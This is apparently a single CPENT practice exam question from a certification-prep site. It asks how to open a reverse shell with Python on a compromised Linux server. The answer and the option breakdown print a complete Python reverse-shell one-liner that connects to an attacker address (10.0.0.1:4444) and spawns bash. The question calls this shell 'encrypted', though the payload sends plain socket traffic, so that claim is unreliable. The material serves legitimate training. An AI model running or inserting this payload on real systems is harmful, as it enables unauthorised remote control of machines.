CPENT Network And Perimeter Exploitation Practice Question
A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
python -c 'import pty; pty.spawn("/bin/sh")'
Why it's wrong here
This spawns a local shell on the terminal, not a reverse shell connecting to a remote host.
- ✗
python -m SimpleHTTPServer 80
Why it's wrong here
This starts a local HTTP server.
- ✗
python -c 'print("Hello World")'
Why it's wrong here
This simply prints text to stdout.
- ✓
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Why this is correct
This creates a socket connection back to the attacker and redirects file descriptors to spawn a bash shell.
About these practice questions
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JA
Written and reviewed by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
Last reviewed August 2026 · checked against the official EC-Council exam blueprint
This CPENT practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CPENT exam.